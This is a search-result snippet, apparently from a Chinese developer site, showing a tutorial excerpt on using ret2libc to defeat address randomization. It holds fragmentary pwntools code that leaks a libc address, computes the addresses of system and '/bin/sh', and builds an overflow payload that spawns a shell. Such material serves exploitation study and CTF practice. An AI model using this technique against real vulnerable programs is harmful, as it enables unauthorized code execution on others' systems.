首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

ret2libc过地址随机化

这里我们需要了解几个知识点: (1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的) (2)在linux的gcc使用C语言源文件的二进制文件时...rval_libc+libc.search("/bin/sh").next() 接下来我们就可以开始写python文件1.py了: from pwn import *context(arch="i386",os="linux...("sinxx",payload1)//sinxx输完之后再输入payloadsgets_real_addr=u32(p.recv(4))//将地址转换成32位libc=ELF("/lib/i386-linux-gnu...gets_real_addr-libc.symbols["gets"]//计算相对偏移addr_system=rva_libc+libc.symbols["system"]//system的真实地址addr_binsh...libc.search("/bin/sh").next()// '/bin/sh'的真实地址payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh

85020
领券